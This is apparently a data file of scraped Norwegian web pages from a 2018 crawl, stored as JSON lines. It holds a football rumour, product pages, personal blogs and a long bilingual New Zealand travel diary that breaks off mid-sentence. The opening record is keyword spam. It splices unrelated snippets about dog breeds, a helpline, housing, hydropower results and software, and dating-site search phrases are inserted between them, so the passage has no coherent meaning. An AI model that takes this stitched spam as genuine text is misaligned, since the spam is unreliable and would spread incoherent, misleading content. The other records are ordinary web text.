\u00e5 ringe Hjelpetelefonen p\u00e5 telefonnummer 116 123. I tillegg til\u00a0I byer med forventet befolkningsvekst er det gjerne et press fra politisk hold og fra innbyggerne om at nye og eksisterende boligsatellitter utenfor byen b\u00f8r utvikles. Dette er boligomr\u00e5der som ofte har h\u00f8y bilavhengighet. I mange tilfeller skjer dette parallelt med kommunale m\u00e5lsettinger om \u00e5 begrense biltrafikken, og f\u00e5 flere\u00a0\n\u00d8VRE GR\u00dcNERL\u00d8KKA: Lys og pen 2-R - fjernvarme - nytt kjk 2010 / bad 2004 - integ. hvitevarer - rolig. sms klip dating.dk Selvsagt er det b\u00e5de sm\u00e5feil og ting som er glemt men den prosentandelen er veldig lav. Olav Rekdal har gjort et imponerende arbeid med \u00e5 samle inn stoff og fordype seg i kildene ved v\u00e5re arkiver. Noen steder har han nok m\u00e5ttet bruke stoff som andre har skrevet av fra kildene, og de feil disse har gjort vil da komme frem i\u00a0 Litt abstrakt digital akvarell som eg kaller englefryd, men det er opp til deg kva tittel du setter p\u00e5 det og kva du finn i bildet. Leika meg med pensel og farger med b\u00e5de mykje og lite vatten. H\u00e5per du liker det??? Noken likte det s\u00e5 godt at det blei solgt. Kun ett eks. var det\\! Kanskje bruker eg motivet i eit anna uttryk seinare Kul\u00a029. apr 2014 Burn4Free: Program med mange funksjoner, men du m\u00e5 regne med \u00e5 bes\u00f8ke produsentens hjemmeside for nedlasting av tileggsprogramvare i ny og ne. Foto: FOTO: Skjermbilde fra programmet. Et enkelt og ryddig gratisprogram som hjelper deg med enkle brenneoperasjoner. Programmet finnes i en\u00a0\n\n(Deutscher Wachtelhund). Opprinnelsesland/. hjemland: Tyskland. Helhetsinntrykk: Middels stor, langh\u00e5ret, meget muskul\u00f8s fuglehund med. edelt hode og kraftig benstamme. Noe lengre enn h\u00f8y, virker. aldri h\u00f8ybent. Viktige. proporsjoner: Mankeh\u00f8yde : kroppslenge = 1 : 1,2. Mankeh\u00f8yde : brystdybde = 1 : 0,5. dating-world.net erfahrung Dr\u00f8yt 20 personer var samlet til en enkel St. Hans feiring p\u00e5 Bergesiden Grendetun l\u00f8rdag ettermiddag/kveld (21.06.2014). Grunnet den sterke vinden og til dels lave temperaturen, hadde vellets \"grillmester\" Ragnar, i \u00e5r flyttet grillingen opp til inngangspartiet. Her trosset noen v\u00e6ret og inntok m\u00e5ltidet utend\u00f8rs, mens andre\u00a0 25. aug 2017 Vannkraftproduksjonen v\u00e5r var 1,2 % h\u00f8yere enn i f\u00f8rste halv\u00e5r 2016. Sammen med noe h\u00f8yere kraftpris bidrar h\u00f8yere produksjon til en \u00f8kning i resultatet. Vi forventer imidlertid at Norden vil v\u00e6re preget av kraftoverskudd og relativt lave priser i \u00e5rene som kommer. BKK opplever et \u00f8kende\u00a0Opprinnelsesland/hjemland: Finland. Helhetsinntrykk: Noe mindre enn middels stor, kraftig bygget i forhold til st\u00f8rrelsen, litt lengre enn mankeh\u00f8yden. Lang og tett pels, st\u00e5\u00f8rer. Viktige proporsjoner: Kroppsdybden noe mindre enn halve artiet noe kortere enn skallelengden. Skallen noe lengre enn\u00a0\n\n, Tanken bak nettstedet er \u00e5 tilby oppgaver som krever minimalt med forberedelser, har lav brukerterskel, er lette \u00e5 forst\u00e5, morsomme \u00e5 bruke og gir god l\u00e6ringseffekt. Gratis online Touch trening, Et ok gratis Touch treningsprogram for \u00e5 bli en bedre tastaturskribent\u00a0 finne kj\u00e6reste p\u00e5 nett danmark Velkommen til Rugdelias Kennel - Hei, Hvor mye tar dere betalt n\u00e5r dere lager en hjemmeside til forskjellige firmaer/privat personer? Timebetalt eller fast-pris? Jeg har en stund drevet og solgt web-sider p\u00e5 hobbybasis. Det er relativt enkle hjemmesider som kun gir informasjon om forskjellige bedrifter og firmaer. Designet er meget bra, men\u00a019.01.2018 - 10:50 123 kommentarer. Jeg skal bli guttemamma og alt st\u00e5r bra til med den lille prinsen v\u00e5r\\! Magef\u00f8lelsen min var feil, men HERLIGHET, s\u00e5 heldige vi er. Alt blir mye mer virkelig n\u00e5 som vi vet kj\u00f8nnet p\u00e5 dr\u00f8mmebabyen v\u00e5r.. Og livet som venter gj\u00f8r meg bare s\u00e5\u00e5\u00e5\u00e5 lykkelig\\! Hurra for Severin\\! Vi gleder oss\u00a0\n", "language": "no", "__index_level_0__": "359e5c79-2671-4a25-bb52-8aebe70a7e5b"}
{"url": "http://newutd.no/mauricio-isla-til-newcastle/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:35:18Z", "text": "\n\n# Mauricio Isla neste mann inn?\n\nOppdatert: 22. July 2014\n\n#### Den chilenske avisen El Mercurio melder at Newcastle skal v\u00e6re sv\u00e6rt n\u00e6re \u00e5 sikre seg en allsidige Juventus-spilleren for dr\u00f8ye 8 millioner pund.\n\nPardew ytret i forrige uke at Riviere og Janmaat ikke ville bli de siste kj\u00f8pene i sommer. De f\u00e6rreste hadde likevel trodd at eier Mike Ashley skulle punge ut for en etablert spiller fra et av Europas beste lag.\n\nAvisen sier at Newcastle og Juventus er enige om en overgangssum, og at det eneste som gjenst\u00e5r er kontraktsforhandlinger og den medisinske testen.\n\nIsla er 26 \u00e5r og spilte alle kampene for Chile i VM. Han kan bekle alle posisjonene i forsvar, samt spille defensiv midtbane og h\u00f8yreving.\n\nSelv om El Mercurio virker sikker i sin sak om at en overgang er n\u00e6rt forest\u00e5ende, kan det v\u00e6re smart \u00e5 ta ryktene med en klype salt. Avisen mener nemlig at Isla skal v\u00e6re en erstatter for Debuchy, noe som neppe er tilfellet i og med at Newcastle nettopp sikret seg den nederlandske h\u00f8yrebacken Janmaat fra Feyenoord.\n\nVi f\u00f8lger saken og h\u00e5per at det er sannhet i ryktene.\n\n", "language": "no", "__index_level_0__": "6a94dee2-b6d3-4545-8da7-768e8dae4220"}
{"url": "http://docplayer.me/254306-Katalog-lino-2013-layout-1-04-06-13-10-30-side-1-produktkatalog-trading-a-s-kjokken-og-bad-vasker-sanitaerporselen-armaturer.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-25T00:16:36Z", "text": " KJ\u00d8PEHJELP HEMNES Baderomsm\u00f8bler VEDLIKEHOLD: T\u00f8rk av med en ren klut fuktet i vann, eller mildt s\u00e5pevann. Unng\u00e5 rengj\u00f8ringsmiddel som inneholder slipemidler. Ettert\u00f8rk med en t\u00f8rr klut. Alle v\u00e5te flekker\n\n", "language": "no", "__index_level_0__": "d680fbbe-e5f9-4473-862d-b0b620fc63d3"}
{"url": "http://annalouise.no/?p=358", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:15:56Z", "text": "## \n\n# Tegne og v\u00e6re kreativ\n\n Posted on November 16, 2015\n\n  - \n  - \n\nB\u00e5de Peter, min bror, og jeg likte \u00e5 tegne fra vi var sm\u00e5. Men jeg tror de fleste barn liker det. Jeg kan ha v\u00e6rt ca 6 \u00e5r og min bror 9, da vi begynte p\u00e5 tegnekurs. Lisbeth, som var l\u00e6reren v\u00e5r sa at vi hadde talent p\u00e5 hver v\u00e5r m\u00e5te.  \nPeter hadde streken i h\u00e5nda, mens jeg var den t\u00e5lmodige petimeteren. Vi fant fort frem til en arbeidsfordeling: Peter lagde skissen og jeg jobbet videre med detaljene og f\u00f8rst og fremst fargeleggingen. Han var ferdig med sin andel p\u00e5 kanskje 20 minutter, og deretter kunne jeg fortsette i kanskje to dager \ud83d\ude09\n\nJeg husker at tegnekurset gikk p\u00e5 l\u00f8rdagene, og det var p\u00e5 mange m\u00e5ter ukas h\u00f8ydepunkt. Vi hadde v\u00e5r l\u00f8rdagskos p\u00e5 formiddagen. Med Lisbeth trivdes vi veldig godt. Selv om det var et tegnekurs, s\u00e5 drev vi med b\u00e5de tegning og skulptur. Hun l\u00e6rte oss mange forskjellige spennende teknikker som jeg fortsatt bruker i dag. Desverre flyttet hun da jeg var 10 \u00e5r og med det ble kurset borte for v\u00e5r del. Det var trist.\n\nH\u00f8ydepunktet for min karriere som \"kunsttegner\" forblir nok utstillingen p\u00e5 r\u00e5dhuset i Lillestr\u00f8m som ble \u00e5pnet av dav\u00e6rende ordf\u00f8rer.\n\nHer ser dere to av skissene mine i grafikk da jeg var 9 og 10 \u00e5r.\n\n   \nBy annalouise\n\n\n\n##### annalouise\n\n#### Velkommen inn\\!\n\n\n\nSom regel trives jeg godt inne i skallet mitt.  \nJeg merker at folk kan bli litt oppgitt  \nn\u00e5r jeg velger \u00e5 lukke meg inn i det og titte ut kun n\u00e5r det passer seg for meg. Men n\u00e5 har jeg bestemt meg for \u00e5 la folk f\u00e5 lov til \u00e5 kikke inn; se litt av min verden, og min virkelighet.  \n**Velkommen\\!**\n\n", "language": "no", "__index_level_0__": "40e44b0a-0626-4f0a-8ee4-4c4cff656f2f"}
{"url": "https://www.blivakker.no/product/3072551/babor-reversive-supreme-glow-anti-aging-cream-50ml", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:18:38Z", "text": "### Beskrivelse\n\nBabor Reversive Supreme Glow Anti-Age Cream er en dagkrem som tilf\u00f8rer umiddelbar, ungdommelig gl\u00f8d til huden. Kremen forhindrer og reduserer hudens tidlige tegn p\u00e5 aldring.\n\n  \nBabor startet i Tyskland i 1956 og har siden den gang v\u00e6rt en pioneer innen profesjonell hudpleie og skj\u00f8nnhets produkter, som gir huden din en luksuri\u00f8s f\u00f8lelse.\n\n", "language": "no", "__index_level_0__": "0ce10f83-46ab-413a-89c6-24079ddbad8a"}
{"url": "https://blogg.japanphoto.no/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:38:11Z", "text": "\n## Julekort \u2013 send en hilsen som varmer\\!\n\n**14. November 2017\n\n**Bj\u00f8rg\n\n\ud83c\udfb6\u00a0Julen, julen, julen den er her\u2026eller kanskje ikke helt enn\u00e5, men det n\u00e6rmer seg i hvertfall\\! Det skader ikke \u00e5 tyvstarte litt med forberedelsene allerede n\u00e5. \u00c5 bestille julekortene er en perfekt begynnelse. Har du bildene klar er det gjort p\u00e5 1-2-3 hos oss i Japan Photo. Finn kortformatet og designet du liker best, og fyll det med...\n\n## Vil du se verdens flotteste bilde? \u2013 Nordisk seier i fotokonkurransen Our world is beautiful.\n\n**27. October 2017\n\n**Bj\u00f8rg\n\nOg vinneren er\u2026 Verdens st\u00f8rste \u00e5pne fotokonkurranse i 2017, \"Our world is beautiful\", har k\u00e5ret \u00e5rets vinner blant mer enn 183.000 bilder. Det ble nordisk seier i konkurransen som oppfordrer alle til \u00e5 vise deres personlige syn p\u00e5 verdens skj\u00f8nnhet. Janne Kahila fra Finland imponerte juryen med sin fortolkning av konkurransens budskap. Bildet...\n## \u00c5rets adventskalendere er her \ud83c\udf1f\n\n**20. October 2017\n\n**Bj\u00f8rg\n\n**Ukategorisert\n\n**Legg til kommentar\n\n \n\nDen st\u00f8rste gleden man kan ha, er \u00e5 gj\u00f8re andre glad\\! Med en dekorativ adventskalender fra Japan Photo gir du bort en overraskelse hver dag. I tillegg til overraskelsene lager kalenderen god stemning i hjemmet med ditt eget bilde p\u00e5, trykket i god kvalitet og med matt overflate. Og du, det er ingenting i veien for \u00e5 kj\u00f8pe en bare til seg selv ogs\u00e5...\n\n## Kreativ vri p\u00e5 DesignByMe messen\\!\n\n**3. October 2017\n## Ta vare p\u00e5 dine spreke \u00f8yeblikk\\!\n**18. September 2017\n\n**Siv Hege\n\n## Ole J\u00f8rgen Liodden tester Godox AD360 og AD200\n\n**13. July 2017\n\n**Silje\n\n## Bilder fra \u00e5ret som har g\u00e5tt i en ekte bok\\!\n\n**10. January 2017\n\n**Bj\u00f8rg\n\n**CEWE FOTOBOK, Inspirasjon, Tips og guider\n\n2017: Nytt \u00e5r og nye muligheter, men la oss ikke glemme alle de gode, rare og morsomme minnene fra \u00e5ret som har g\u00e5tt. Ta de gjerne med deg inn i det nye \u00e5ret, og lag en ekte bok med minnene dine \u2013 en \u00e5rskavalkade i bilder.\u00a0 De fleste av oss tar mange bilder av sm\u00e5 og store \u00f8yeblikk. Bildene og minnene blir kanskje litt glemt bort etterhvert...\n\n## Julegavetips \u2013 5 fotogaver du kan bestille i helgen\n\n**9. December 2016\n\n**Bj\u00f8rg\n\n**Bj\u00f8rg\n\nDet er ikke ofte en finner brev og kort i postkassen lenger. Det er p\u00e5 mange m\u00e5ter trist at den digitale verdenen har tatt over. Heldigvis er julen et fint unntak, da kan vi hente koselige julekort som lyser opp blant aviser, reklame og regninger. En liten oppdatering, eller et \u00f8nske om god jul fra kjente og kj\u00e6re. Det varmer ethvert hjerte\\! Det...\n## Eventyrlig oppussing med Japan Photo\n\n**26. September 2016\n\n**Bj\u00f8rg\n\n**Forst\u00f8rrelser, Inspirasjon, Tips og guider\n\n'Eventyrlig oppussing' er i gang med ny sesong p\u00e5 TV3. Interi\u00f8rekspert\u00a0Halvor Bakke og hans dyktige snekkerteam pusser opp norske hytter, og gj\u00f8r de om til et eventyr for glade hytteeiere. Japan Photo er stolt sponsor av episoden fra Nittedal. I denne episoden f\u00e5r v\u00e5r egen Smiles on Tiles\u2013 gr\u00fcnder Siri en foreningshytte omgjort...\n\n## Lag ditt eget GRATIS lokk til leverposteien\\!\n\n**16. August 2016\n\n**Bj\u00f8rg\n\n## Oppdag Kunstbilder.no du ogs\u00e5\\!\n\n**10. May 2016\n\n**Bj\u00f8rg\n\n**Inspirasjon, Nyheter, Tips og guider\n\n**Legg til kommentar\n\n \nFotokunst er en av \u00e5rets store trender, men \u00e5 skape et interi\u00f8r handler om s\u00e5 mye mer enn \u00e5 bare\u00a0f\u00f8lge trender. Et hjem skal gj\u00f8re deg glad. \u00c5 dekorere veggene med flotte bilder som gjenspeiler familiens interesser,\u00a0gj\u00f8r hjemmet lunt og personlig. Vi t\u00f8r \u00e5 p\u00e5st\u00e5 at hos v\u00e5r spesialbutikk kunstbilder.no\u00a0finner du de perfekte bildene til hjemmet ditt...\n\n## Innspurt p\u00e5 2.runde av \"Fotografen 2016\". Tema: Natur. Enkeltbilde\n\n**11. April 2016\n\n**Inger Lise\n\n**Arrangementer, Konkurranse\n\n## \u00c5rets julekalender fra Japan Photo\\!\n\n**2. December 2015\n\n**Inger Lise\n\nAdventstiden er i gang, og vi \u00f8nsker \u00e5 lage litt f\u00f8rjulshygge for v\u00e5re kunder. Hver dag fra 1.-24. desember gjemmer vi spennende overraskelser bak lukene. F\u00f8lg med\u00a0hver dag for \u00e5\u00a0se om deres favorittprodukt gjemmer seg der. Det vil dukke opp produkter fra v\u00e5re mange spesialbutikker ogs\u00e5. Den STORE julegaven deler vi ut p\u00e5 julaften\\!\u00a0Meld deg p\u00e5...\n## \u00c5rets fotograf 2014 \u2013 Fotoutstilling\n\n**2. October 2015\n\n## Fotografer h\u00f8stens fargeprakt\\!\n\n**9. September 2015\n\n**Inger Lise\n\n", "language": "no", "__index_level_0__": "12c466fc-5dba-4a50-adf8-d0c1d167d720"}
{"url": "https://strandos.blog/2012/04/27/morgen-ved-campingvogna/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:37:29Z", "text": "Lagt ut den 27. april 201227. april 2012 av Jens-Chr\n\n# Morgen ved campingvogna\n\nDet var t\u00e5kete til morgenen i dag. Det har regnet i stort sett hele natt, men dagen m\u00f8tte meg dessverre med t\u00e5ke.\n\n\n\n", "language": "no", "__index_level_0__": "013e297a-d844-4d17-ab65-81f8b4b36edb"}
{"url": "https://no.tripadvisor.com/Attraction_Review-g255060-d257275-Reviews-Darling_Harbour-Sydney_New_South_Wales.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:53:55Z", "text": "Thomas M \n\nAnmeldt 13 februar 2018 \n\nDarling Harbour\n\nEr en turistmagnet. Ligger helt med vannet og har en pariserhjul du kan betale for og ta. Er masse restauranter og barer du kan velge mellom. Er en plass man burde g\u00e5 ut og spise p\u00e5 kvelden.\n\nFlott havnepromenade\n\nEt vell av flotte restauranter og kafeer. Madsen Tussauds fremst\u00e5r som \u00abturistfelle\u00bb og anbefales ikke. Fint \u00e5 g\u00e5 videre til Sydney Harbour. Det er en ca 10 min spasertur videre dit.\n\nTypisk b\u00e5de dag og kvelds bes\u00f8k anbefales\nDenne anmeldelsen er den subjektive meningen fra et TripAdvisor-medlem og ikke fra TripAdvisor LLC.\n\nStein I L\n\nAnmeldt 27 februar 2016 \nStein I L Norge\n\nAnmeldt 27 februar 2016 \n\nNydelig bydel\n\nDette var et nydelig bryggeomr\u00e5det som vi kommer tilbake til. Fantastisk skue ut over byen fra sj\u00f8siden.\n\nTakk, Stein I L \nTripAdvisor LLC er ikke ansvarlig for innholdet p\u00e5 eksterne nettsteder. Skatter eller avgifter inng\u00e5r ikke i tilbud.\n\n", "language": "no", "__index_level_0__": "853a1af6-fbe9-47db-8a66-1f92df3717fe"}
{"url": "http://skjetlein.vgs.no/Aktiviteter/distriktsmesterskap-i-blomsterdekorering-juni-2012/?print=1", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00016.warc.gz", "warc_date": "2018-03-24T23:25:48Z", "text": "# Naturlige skolesekk\n\n\u00a0\n\n\n**Prosjekt 1: Fornybar Energi lab**\n\n**Levende realfag: fornybar energi lab**\n\nFor \u00e5 kunne tilby elevene flere praktiske l\u00e6ringsopplevelser med tema fornybar energi (fag. Naturfag / fysikk / kjemi / matematikk)\u00a0  \nhar skolen bygget en \u00abfornybar energi lab\u00bb. En akkumulatortank lagrer energi fra forskjellige energikilder. P\u00e5 fornybar energilaben knytes en vedovn og solfangere til tanken. Hele systemet skal kobles slik at elevene kan forske (regne) p\u00e5 energiutbytte av ved og sol.\n\nEn bieffekt av labben er at varmhallen som vil f\u00e5 vannb\u00e5ren varme Systemet i varmehallen skal v\u00e6re en del av multienergisenteret.\n\nProsjektledelse /v Skjetlein vgs: Team realfag (Gjertrud Jenssen / Vigdis Jonsen)\n\n\u00a0\n**Prosjekt 2: Storsalamander**\n\n", "language": "no", "__index_level_0__": "26c3c986-42eb-44b1-b441-623cbd8a908a"}
{"url": "http://omglolrohan.com/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:03:06Z", "text": "## Home\n\nMay 11th, 2010\n\nJust a quick post to let everyone who doesn't already know that we have both safely arrived back home in Norway. We got on the scheduled flight on May 3rd and thirty-something hours we arrived at Gardermoen, Oslo.\n\nThe next day we were both at work and my \"back to work\"-reality started with a 13 hour day, excellent\u2026 Still, there's really no reason to complain, we had a wonderful holiday and the best trip ever.\n\nTags: Flight, Home, Oslo  \n## A short resume of the past days and a bunch of pics to go with it\n\nApril 24th, 2010\n\n**AK:** After a couple of days worrying about the ash cloud, the tickets, the way home and checking in with Cathay, we got the rather depressing news that our flight had been cancelled. As I said in the previous post, a very lovely lady at Cathay Pacific spent a good deal of her time helping us getting home, and she got us brand new tickets with no extra cost. The only downside was that the earliest we could get home was May 3rd. The long and the short of it is we are stuck in NZ for two more weeks.\u00a0\u00a0\n\n Andreas enjoying the luxury cinema in Auckland\u00a0\n\nRather than sitting at our shitty Fat Camel hostel and gloomily contemplate the consequences, we decided to make the most of it and the day before we were scheduled to leave Auckland, we headed back to Apex and rented another car (as we had delivered ours in Qtown as promised). We got another one and the next day we said goodbye to Lorraine (whom we had previously shared a hostel with in Abel Tasman) and Jenny (who got tickets home a whole week after us, poor thing).\n\n\u00a0\n\n Sky Tower Auckland\n\n\n\nLorraine\n\n\n\nJenny getting down from her bunk bed\n\nWe headed out of Auckland, landing in Whangarei and spent three great days here. The weather was nice, we stayed at a charming little hostel called the Little Earth Lodge and met some great people. We went caving in the three glow worm caves they have there with our new friend Omri (from Israel) and got cosy with Muttley, one of the sweetest dogs we've ever met. We got to se what The Book (Lonely Planet) describes as \"The Paris Hilton of waterfalls. Not the most impressive, but reputedly the most photographed\", very true, but I thought the Whangarei Falls were charming nonetheless.\n\n\n\nOmri in one of the glowworm caves\n\n\n\nExplorer trio\n\n\n\nCaving\n\n\nMuttley and his squeaky toy\n\n\n\nOn our way to Whangarei Falls\n\n\n\nThe Whangarei Falls\n\n\n\nBeautiful area with loads of birds (CRUNCHABLE BIRDSESSSS)\n\n\n\nA nice little detour back to the car to see some of the local wildlife and some Kauri trees\n\nAfter Whangarei we decided to use some of the time to see a part of NZ we'd originally opted out of because of time constraints and we went north towards the Bay of Islands and Cape Reinga, one of the northernmost tips of NZ. In Paihia we stopped for gas and picked up a hitchhiker, OMG THE DANGER\\! (We have seen no evdence that she has an axe stashed away so we feel relatively safe). Verena is German/Dutch, quit her job and is now hitchhiking her way through NZ.\n\n\n\nVerena - our crazy, but funny hitchhiker \n\nShe came with us to Pukenui were we \"set up base\" and yesterday we went out to see a fantastic sunset at the 90 mile beach before spending the evening in the hostel with Stefano from Italy and Mathieux from France.\n\n\n\nOur new rental parked nicely by the beach\n\n\n\n90 mile beach goes on and on and on (it's actually more of a \"64 mile beach\", but still...)\n\n\n\nHappiness\n\n\n\nWaiting for the sunset\n\n\n\nWaiting for the sunset\n\n\n\nThe best show on Earth - completely free\n\nToday we drove up to Cape Reinga and went sandboarding on the giant sanddunes before getting the biggest ice cream cone in the history of time (one scoop at that shop is actually two, awesome\\!)\n\n\n\nBeautiful\n\n\n\nThe Cape Reinga lighthouse with the signs\n\n\n\nWaiting to go sandboarding\n\nWhere we go from here we don't really know, but we will keep you posted. We hope everyone back home are doing ok, we are very glad that Andreas' parents are home safe from their vacation in Rome and we both feel bad about missing work (sorry, guys). We are on our way, it's just going to take a little longer than expectet.\n\n**\\***\n\n**NORWEGIAN:**\n\n**AK:** Etter \u00e5 ha brukt et par dager p\u00e5 \u00e5 bekymre seg for askeskyer, billetter og hjemtur fikk vi kontakt med Cathay og mottok den litt depressive nyheten at flighten v\u00e5r var kansellert. Som jeg sa i forrige post var det en veldig \u00e5lreit og effektiv dame i Cathay Pacific som brukte en god del tid p\u00e5 \u00e5 hjelpe oss med hjemturen v\u00e5r. Hun skaffet oss nye billetter uten ekstra kostnad, men det tidligste vi kunne komme oss hjem var dessverre 3. mai. For \u00e5 gj\u00f8re en lang historie kort er vi strandet i NZ i to ekstra uker..\n\nIstedenfor \u00e5 sitte p\u00e5 den r\u00e5tne herberget v\u00e5rt og deppe over konsekvensene av dette bestemte vi oss for \u00e5 gj\u00f8re det meste ut av det og dagen f\u00f8r vi skulle reist ut fra Auckland troppet vi nok en gang opp p\u00e5 Apex og leide en bil (den gamle hadde vi levert p\u00e5 flyplassen i Qtown som avtalt). Vi fikk en ny bil og dagen etter sa vi adj\u00f8 til Lorraine (som vi hadde delt overnattingssted med f\u00f8r, i Abel Tasman) og Jenny (som fikk billetter hjem en hel uke etter oss, stakkar). Vi dro ut av Auckland og \"landet\" i Whangarei og tilbrakte tre flotte dager der. V\u00e6ret var kjempefint, vi bodde p\u00e5 et sjarmerende lite sted som het Little Earth Lodge og m\u00f8tte noen artige mennesker. Vi gikk p\u00e5 \"oppdagelsestur\" i de tre lysorm-hulene de har der med v\u00e5r nye venn, Omri (fra Israel) og koste masse med Muttley, en av de koseligste hundene vi noen gang har m\u00f8tt. Vi fikk ogs\u00e5 sett Whangarei Falls en lokal, liten foss, som ble beskrevet i boka v\u00e5r som \"ikke spesielt imponerende, men antagelig den mest fotograferte\". Jeg likte stedet og synes det var veldig sjarmerende.\n\nEtter Whangarei bestemte vi oss for \u00e5 se en del av NZ vi i utgangspunktet hadde droppet pga tidsbegrensninger, s\u00e5 vi dro nordover mot Bay of Islands og Cape Reinga, en av de nordligste tuppene av NZ. I Paihia stoppet vi for \u00e5 fylle bensin og plukket i samme slengen opp en haiker OMG\\! FARLIG\\! (Vi har ikke sett noen bevis p\u00e5 at hun b\u00e6rer \u00f8ks, s\u00e5 vi f\u00f8ler oss relativt trygge). Verena er tysk/nederlands, hun sa opp jobben sin og haiker seg n\u00e5 gjennom NZ. Hun ble med oss til Pukenui hvos vi n\u00e5 \"har base\" og i g\u00e5r dro vi ut og s\u00e5 en helt fantastisk solnedgang p\u00e5 90 mile beach f\u00f8r vi tilbrakte resten av kvelden \"hjemme\" med Stefano fra Italia og Mathieux fra Frankrike. I dag kj\u00f8rte vi opp til Cape Reinga og \"sand surfet\" p\u00e5 de enorme sanddynene f\u00f8r vi kj\u00f8pte oss den st\u00f8rste isen i verdens historie (en kule der er faktisk to, helt fantastisk).\n\nHvor vi skal herfra er litt usikkert, men vi skal pr\u00f8ve \u00e5 holde bloggen oppdatert. Vi h\u00e5per alle der hjemme har det bra, vi er veldig glad for at foreldrene til Andreas kom seg trygt hjem fra Roma og vi h\u00e5per kollegene v\u00e5re klarer seg uten oss en stund til. Vi er p\u00e5 vei, det bare tar litt lenger tid enn f\u00f8rst beregnet.\n\nTags: Apex, Cape Reinga, Caving, Muttley, Omri, Pukenui, Sandboarding, Verena, Whangarei  \n## Prolonged stay in NZ\n\nApril 22nd, 2010\n\n**AK:** We have been told that the earliest flight to Europe is on the 3rd of May and fortunately, we are on it. We\u00a0had some great help\u00a0from a very nice\u00a0lady at Cathay Pacific's offices in Auckland and got on a plane a whole week before poor Jenny (a girl we met while travelling), who's flying Quantas.\n\nWe definitely have seats all the way to Frankfurt and hopefully, we'll get on the plane to Oslo from there. If not, we'll find something else, at this point we're willing to hire a car (if there are any left) if we have to.\n\nUntil then, we'll try and make the best of it. We got out of Auckland and are now in Whangarei passing time with some nice scenery \n\n**\\***\n\n**NORWEGIAN:**\n\n**AK:** Vi har f\u00e5tt vite at det tidligste flyet vi kunne f\u00e5 til Europa var den 3. mai og heldigvis er vi booket inn p\u00e5 det. Vi fikk veldig bra service fra en snill dame p\u00e5 Cathay Pacifics kontorer i Auckland og fikk seter p\u00e5 et fly som g\u00e5r en hel uke f\u00f8r stakkars Jenny (en vi m\u00f8tte p\u00e5 reisen), som flyr Quantas.\n\nVi har bekreftet plass hele veien til Frankfurt og forh\u00e5pentligvis kommer vi med p\u00e5 flyet til Oslo derfra. Hvis ikke finner vi p\u00e5 noe annet, akkurat n\u00e5 er vi villige til \u00e5 leie bil (om det er noen igjen) hvis vi m\u00e5.\n\nInntil da pr\u00f8ver vi \u00e5 gj\u00f8re det beste ut av situasjonen. Vi dro ut av\u00a0Auckland og befinner oss n\u00e5 i Whangarei. Her bruker vi tiden p\u00e5 \u00e5 se vakkert landskap mens vi venter \n\n## Revenge of the Icelandic\\!\n\nApril 18th, 2010\n\n**AK:** We reached Auckland yesterday and after loads and loads of really cosy smaller places I must admit, Auckland is not the cherry on top. Please bear in mind though, that my impressions of Auckland are a bit (dis)coloured by the fact that the hostel is without a doubt the shabbyest we've stayed in and there is some extra stress factors emerging due to the whole \"might be stuck here indefinitely because of the bleedin' volcano eruption\"-factor. While it is a welcome opportunity for extra holiday, there is a lot that has to be figured out and the not knowing is the hard part. If anything, I'd love to get another car and just go somewhere else right know, but we don't know if our flight's been cancelled yet, so we are kind of stuck trying to keep an eye on updates and trying to come up with and organizing alternatives. Most of the alternatives are already exhausted, though, the train and bus tickets from somewhere we MIGHT be able to fly to have been sold out, the hired car companies are emptying out and we are still only in Auckland. So in short, we are trying to get home with as few delays as possible, but this might take a while.\n\nWe took the time to visit the Sky Tower yesterday, the \"tallest structure in the southern hemisphere\", and the view from the observation deck was trylu amazing.\n\n\n\nAuckland's Sky Tower - 328 m\n\nAuckland seems like a really large city, it stretches quite far out and seems to go on forever, but as Andreas pointed out there are not many skyskrapers so the inhabitants of Auckland probably take up a lot of square miles for their number (1.2 million ish).\n\n\n\nView from the Sky Tower\n\n\n\nThe inevitable \"All Blacks\"-shop, they're everywhere \n\nThe trip to the Sky Tower was followed by a much needed nap as we decided to come out for drinks with the people from Bungi the night before our (early) flight to Auckland. Awesome times, people\\! Thanks for a great send off (and the shots, Rachael\\!). We already miss you guys \n\n\n\nAndreas, Rachael, AK, Debbie and the Irish guy (Connor?)\n\n\n\nAndreas with his last piece of Fergburger...\n\n\n\nJesse rockin' out at Buffalo\n\n\n\n\n\nRachael & AK @ Buffalo\n\n\n\nYou gotta love the Buffalo Club\n\n\n\nAndreas & Will @ Buffalo\n\nI am sitting listening to the songs they played at the Nevis pod when we jumped and going through some of the memories of the trip. It has been one hell of a holiday, even better than we imagined and I can tell we are sort of winding down now. We are expecting a trip home and the energy levels are not what they were, but we still have enough to check out some of the stuff Auckland has to offer. Today was spent walking/sightseeing in parts of the inner city before we had a very nice dinner at a Belgian restaurant. This evening we are checking out a \"de luxe\" cinema they have here that Andreas read about. It seems really cool and proper relaxed, just the thing tonight, I should think.\n\n**\\***\n\n**NORWEGIAN**\n\n**AK:** Vi ankom Auckland i g\u00e5r og etter \u00e5 ha v\u00e6rt innom s\u00e5 mange koselig sm\u00e5steder m\u00e5 jeg innr\u00f8mme at Auckland ikke er toppen av kransekaka. N\u00e5r det er sagt, s\u00e5 husk at min opplevelse av Auckland er litt farget av at dette uten tvil i er det mest shabby hostelet vi har bodd p\u00e5, og det er en ekstra 